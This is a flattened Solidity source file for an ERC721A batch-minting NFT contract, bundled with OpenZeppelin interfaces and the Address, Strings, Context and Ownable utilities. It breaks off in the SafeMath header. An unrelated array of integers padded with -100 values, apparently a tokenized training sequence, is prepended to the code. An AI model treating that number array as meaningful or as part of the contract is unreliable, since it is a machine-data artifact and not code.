[ 1, 565, 445, 6617, 537, 12, 2867, 8526, 745, 892, 389, 7860, 16, 1758, 389, 87, 1302, 264, 13, 3903, 1338, 5541, 288, 203, 3639, 389, 12908, 537, 24899, 7860, 16, 389, 87, 1302, 264, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer( address indexed from, address indexed to, uint256 indexed tokenId ); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval( address indexed owner, address indexed approved, uint256 indexed tokenId ); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll( address indexed owner, address indexed operator, bool approved ); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); (bool success, ) = recipient.call{value: amount}(""); require( success, "Address: unable to send value, recipient may have reverted" ); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, "Address: low-level call with value failed" ); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require( address(this).balance >= value, "Address: insufficient balance for call" ); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}( data ); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall( target, data, "Address: low-level static call failed" ); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall( target, data, "Address: low-level delegate call failed" ); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/utils/Strings.sol pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } pragma solidity ^0.8.4; error ApprovalCallerNotOwnerNorApproved(); error ApprovalQueryForNonexistentToken(); error ApproveToCaller(); error ApprovalToCurrentOwner(); error BalanceQueryForZeroAddress(); error MintedQueryForZeroAddress(); error BurnedQueryForZeroAddress(); error AuxQueryForZeroAddress(); error MintToZeroAddress(); error MintZeroQuantity(); error OwnerIndexOutOfBounds(); error OwnerQueryForNonexistentToken(); error TokenIndexOutOfBounds(); error TransferCallerNotOwnerNorApproved(); error TransferFromIncorrectOwner(); error TransferToNonERC721ReceiverImplementer(); error TransferToZeroAddress(); error URIQueryForNonexistentToken(); /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at _startTokenId() (defaults to 0, e.g. 0, 1, 2, 3..). * * Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply. * * Assumes that the maximum token id cannot exceed 2**256 - 1 (max value of uint256). */ contract ERC721A is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Compiler will pack this into a single 256bit word. struct TokenOwnership { // The address of the owner. address addr; // Keeps track of the start time of ownership with minimal overhead for tokenomics. uint64 startTimestamp; // Whether the token has been burned. bool burned; } // Compiler will pack this into a single 256bit word. struct AddressData { // Realistically, 2**64-1 is more than enough. uint64 balance; // Keeps track of mint count with minimal overhead for tokenomics. uint64 numberMinted; // Keeps track of burn count with minimal overhead for tokenomics. uint64 numberBurned; // For miscellaneous variable(s) pertaining to the address // (e.g. number of whitelist mint slots used). // If there are multiple variables, please pack them into a uint64. uint64 aux; } // The tokenId of the next token to be minted. uint256 internal _currentIndex; // The number of tokens burned. uint256 internal _burnCounter; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details. mapping(uint256 => TokenOwnership) internal _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _currentIndex = _startTokenId(); } /** * To change the starting tokenId, please override this function. */ function _startTokenId() internal view virtual returns (uint256) { return 0; } /** * @dev See {IERC721Enumerable-totalSupply}. * @dev Burned tokens are calculated here, use _totalMinted() if you want to count just minted tokens. */ function totalSupply() public view returns (uint256) { // Counter underflow is impossible as _burnCounter cannot be incremented // more than _currentIndex - _startTokenId() times unchecked { return _currentIndex - _burnCounter - _startTokenId(); } } /** * Returns the total amount of tokens minted in the contract. */ function _totalMinted() internal view returns (uint256) { // Counter underflow is impossible as _currentIndex does not decrement, // and it is initialized to _startTokenId() unchecked { return _currentIndex - _startTokenId(); } } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { if (owner == address(0)) revert BalanceQueryForZeroAddress(); return uint256(_addressData[owner].balance); } /** * Returns the number of tokens minted by `owner`. */ function _numberMinted(address owner) internal view returns (uint256) { if (owner == address(0)) revert MintedQueryForZeroAddress(); return uint256(_addressData[owner].numberMinted); } /** * Returns the number of tokens burned by or on behalf of `owner`. */ function _numberBurned(address owner) internal view returns (uint256) { if (owner == address(0)) revert BurnedQueryForZeroAddress(); return uint256(_addressData[owner].numberBurned); } /** * Returns the auxillary data for `owner`. (e.g. number of whitelist mint slots used). */ function _getAux(address owner) internal view returns (uint64) { if (owner == address(0)) revert AuxQueryForZeroAddress(); return _addressData[owner].aux; } /** * Sets the auxillary data for `owner`. (e.g. number of whitelist mint slots used). * If there are multiple variables, please pack them into a uint64. */ function _setAux(address owner, uint64 aux) internal { if (owner == address(0)) revert AuxQueryForZeroAddress(); _addressData[owner].aux = aux; } /** * Gas spent here starts off proportional to the maximum mint batch size. * It gradually moves to O(1) as tokens get transferred around in the collection over time. */ function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { uint256 curr = tokenId; unchecked { if (_startTokenId() <= curr && curr < _currentIndex) { TokenOwnership memory ownership = _ownerships[curr]; if (!ownership.burned) { if (ownership.addr != address(0)) { return ownership; } // Invariant: // There will always be an ownership that has an address and is not burned // before an ownership that does not have an address and is not burned. // Hence, curr will not underflow. while (true) { curr--; ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } } } } revert OwnerQueryForNonexistentToken(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return ownershipOf(tokenId).addr; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { if (!_exists(tokenId)) revert URIQueryForNonexistentToken(); string memory baseURI = _baseURI(); return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { address owner = ERC721A.ownerOf(tokenId); if (to == owner) revert ApprovalToCurrentOwner(); if (_msgSender() != owner && !isApprovedForAll(owner, _msgSender())) { revert ApprovalCallerNotOwnerNorApproved(); } _approve(to, tokenId, owner); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken(); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public override { if (operator == _msgSender()) revert ApproveToCaller(); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { _transfer(from, to, tokenId); if ( to.isContract() && !_checkContractOnERC721Received(from, to, tokenId, _data) ) { revert TransferToNonERC721ReceiverImplementer(); } } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { return _startTokenId() <= tokenId && tokenId < _currentIndex && !_ownerships[tokenId].burned; } function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ""); } /** * @dev Safely mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { _mint(to, quantity, _data, true); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _mint( address to, uint256 quantity, bytes memory _data, bool safe ) internal { uint256 startTokenId = _currentIndex; if (to == address(0)) revert MintToZeroAddress(); if (quantity == 0) revert MintZeroQuantity(); _beforeTokenTransfers(address(0), to, startTokenId, quantity); // Overflows are incredibly unrealistic. // balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1 // updatedIndex overflows if _currentIndex + quantity > 1.2e77 (2**256) - 1 unchecked { _addressData[to].balance += uint64(quantity); _addressData[to].numberMinted += uint64(quantity); _ownerships[startTokenId].addr = to; _ownerships[startTokenId].startTimestamp = uint64(block.timestamp); uint256 updatedIndex = startTokenId; uint256 end = updatedIndex + quantity; if (safe && to.isContract()) { do { emit Transfer(address(0), to, updatedIndex); if ( !_checkContractOnERC721Received( address(0), to, updatedIndex++, _data ) ) { revert TransferToNonERC721ReceiverImplementer(); } } while (updatedIndex != end); // Reentrancy protection if (_currentIndex != startTokenId) revert(); } else { do { emit Transfer(address(0), to, updatedIndex++); } while (updatedIndex != end); } _currentIndex = updatedIndex; } _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = ownershipOf(tokenId); bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr || isApprovedForAll(prevOwnership.addr, _msgSender()) || getApproved(tokenId) == _msgSender()); if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved(); if (prevOwnership.addr != from) revert TransferFromIncorrectOwner(); if (to == address(0)) revert TransferToZeroAddress(); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256. unchecked { _addressData[from].balance -= 1; _addressData[to].balance += 1; _ownerships[tokenId].addr = to; _ownerships[tokenId].startTimestamp = uint64(block.timestamp); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) { // This will suffice for checking _exists(nextTokenId), // as a burned slot cannot contain the zero address. if (nextTokenId < _currentIndex) { _ownerships[nextTokenId].addr = prevOwnership.addr; _ownerships[nextTokenId].startTimestamp = prevOwnership .startTimestamp; } } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { TokenOwnership memory prevOwnership = ownershipOf(tokenId); _beforeTokenTransfers(prevOwnership.addr, address(0), tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256. unchecked { _addressData[prevOwnership.addr].balance -= 1; _addressData[prevOwnership.addr].numberBurned += 1; // Keep track of who burned the token, and the timestamp of burning. _ownerships[tokenId].addr = prevOwnership.addr; _ownerships[tokenId].startTimestamp = uint64(block.timestamp); _ownerships[tokenId].burned = true; // If the ownership slot of tokenId+1 is not explicitly set, that means the burn initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) { // This will suffice for checking _exists(nextTokenId), // as a burned slot cannot contain the zero address. if (nextTokenId < _currentIndex) { _ownerships[nextTokenId].addr = prevOwnership.addr; _ownerships[nextTokenId].startTimestamp = prevOwnership .startTimestamp; } } } emit Transfer(prevOwnership.addr, address(0), tokenId); _afterTokenTransfers(prevOwnership.addr, address(0), tokenId, 1); // Overflow not possible, as _burnCounter cannot be exceed _currentIndex times. unchecked { _burnCounter++; } } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkContractOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { try IERC721Receiver(to).onERC721Received( _msgSender(), from, tokenId, _data ) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert TransferToNonERC721ReceiverImplementer(); } else { assembly { revert(add(32, reason), mload(reason)) } } } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * And also called before burning one token. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, `tokenId` will be burned by `from`. * - `from` and `to` are never both zero. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * And also called after one token has been burned. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` has been * transferred to `to`. * - When `from` is zero, `tokenId` has been minted for `to`. * - When `to` is zero, `tokenId` has been burned by `from`. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/math/SafeMath.sol pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting 